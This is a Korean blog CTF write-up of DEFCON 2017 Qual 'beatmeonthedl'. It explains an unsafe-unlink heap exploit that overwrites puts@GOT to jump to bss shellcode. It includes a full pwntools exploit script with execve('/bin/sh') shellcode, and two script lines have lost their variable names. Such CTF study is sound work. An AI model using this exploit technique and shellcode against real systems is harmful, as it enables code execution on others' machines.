본문 바로가기

공부는 계속 ../Pwnable Writeup

DEFCON CTF Qual 2017 beatmeonthedl

이 문제는 좀 다양한 풀이법이 존재하는거 같다.

다른 방향으로 풀어보면 공부가 엄청 될거같다. (다만 난 아직 한 가지 방법으로밖에 풀지 못하겠다 ㅠ)

파일 자체에는 glibc malloc 의 보호기법이 들어가지 않았지만, how2heap 에서 제시했던 unsafe unlink 취약점을 이용해서 문제를 풀어보았다.

애초에 그렇게 풀라고 힙 포인터를 bss에 둔 것도 어느정도 고려한거 같다.

다른 사람들 풀이를 보니 참 다양하게들 푼거 같은데... 아직 그들의 풀이가 눈에 빠르게 들어오지는 않는다.. 언젠간 모든 풀이가 보이는 날이 오겠지?

풀이를 진행한다.


1.     Chunk에 Overflow가 발생한다.

2.     Chunk를 포인팅하는 전역 변수(reqlist)가 있다.


그렇다면 unsafe unlink를 이용해서 unlink 에서 수행하는 FD, BK 검사를 우회하고 원하는 주소에 원 하는 값을 쓸 수 있다.

실행 권한이 있는 메모리 영역에 쉘 코드를 올리고, puts 함수가 수시로 불리고 있으니 puts의 GOT에 쉘 코드의 주소를 써 놓으면 쉘 코드를 실행시킬 수 있다.


먼저 힙 할당되는 포인터를 찾는다. 그냥 bss 영역 메모리 다 조회해보면 아주 친절하게 reqlist 라고 써있다.

우리가 target 으로 할 pointer는 0x609280 이다.



좀 더 내려보면 힙 데이터가 쓰인 곳을 확인할 수 있다.



구조는 다음과 같다.

chunk_0 : prev_size + size(0x40+0x2+0x1) + Data
...

unsafe unlink 취약점 처럼 구성한다.

그리고 free(chunk_1) 을 하면..

target(reqlist[0])에 FD(0x609e80 - 0x18 = 0x609E68) 의 값이 담긴다. (FD->bk 에 BK, BK->fd에 FD )

<chunk_0>prev_size
size(0x40) + 0x1
0
0
FD : target(0x609e80) - 0x18
BK : target(0x609e80) - 0x10
...
<chunk_1> prev_size(0x30)
size(0x40) <- PREV_INUSE(0)

이후에 4번 메뉴를 통해 데이터를 또 수정한다. 뭐 전형적이다...;;

puts@got 를 쉘코드 주소로 바꾸기 위해서..

first) reqlist[0] 에 puts@got 주소를 넣어줘야 한다. 0x609e68로부터 시작해서 target까지 덮으려면  "A"*24 + puts@got 이 필요하고..

그리고 puts@got 를 쉘코드 주소로 덮으려면 쉘코드를 미리 bss 영역 어디쯤에 올려놓고..

음.. 전체적인 Exploit 코드를 보면 쉽게 이해될듯 (참조 : http://cdor1.tistory.com/178)

여기서 0x609b00 bss영역에 쉘코드를 올려놓고, puts@got 의 주소를 0x609b00 의 주소로 바꾸면 된다. 이러다 보면 reqlist[0]은 이상한 값이 계속 들어가게 되서 엉망이 되니..

한 가지 주의할 점은 한 번 unlink를 취하고, 다시 원래대로 target을 돌려 놓기위해 또 한번의 unlink를 진행한다. 

단, 여기서 똑같은 chunk_1 을 free하는 것이 아니라, chunk_2를 새롭게 만들어 주고 chunk_3를 free하는 방식으로 진행한다.

그럼 chunk_0에서 병합이 일어나므로 자연스럽게 clear한 상태로 돌아간다.

전체적인 코드는 아래와 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
= process('./beatmeonthedl')
= ELF('./beatmeonthedl')
 
def login():
    print s.recvuntil('Enter username: ')
    s.sendline('mcfly')
    print s.recvuntil('Enter Pass: ')
    s.sendline('awesnap')
 
def request_add(text):
    print s.recvuntil('| ')
    s.sendline('1')
    print s.recvuntil('Request text > ')
    s.sendline(text)
 
def print_list():
    print s.recvuntil('| ')
    s.sendline('2')
 
def request_delete(num):
    print s.recvuntil('| ')
    s.sendline('3')
    print s.recvuntil('choice: ')
    s.sendline(str(num))
 
def request_change(num, data):
    print s.recvuntil('| ')
    s.sendline('4')
    print s.recvuntil('choice: ')
    s.sendline(str(num))
    print s.recvuntil('data: ')
    s.send(data)
        
shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
login()
request_add('aaaa')
request_add('bbbb')
request_add('cccc')
request_add('dddd')
 
payload = p64(0)
payload += p64(0x0)
payload += p64(0x609E80 - 0x18)
payload += p64(0x609E80 - 0x10)
payload += 'a'*0x10
payload += p64(0x30)
payload += p64(0x42)
request_change(0, payload)
request_delete(1)
 
payload_overwrite = 'a'*24
payload_overwrite += p64(0x609B00)
request_change(0, payload_overwrite)
request_change(0, shellcode)
 
request_change(2, payload)
request_delete(3)
 
payload_overwrite = 'a'*24
payload_overwrite += p64(e.got['puts'])
request_change(0, payload_overwrite)
 
request_change(0, p64(0x609B00))
s.interactive()
 
cs







































'공부는 계속 .. > Pwnable Writeup' 카테고리의 다른 글

2014 hitcon stkof (unsafe unlink)  (0) 2018.03.19
defcon 2014 Baby_first_heap  (0) 2018.03.14
heap 문제 풀이 목록  (0) 2018.03.13
Codegate 2017 messenger  (0) 2018.03.01
Plaid CTF 2014 ezhp  (0) 2018.03.01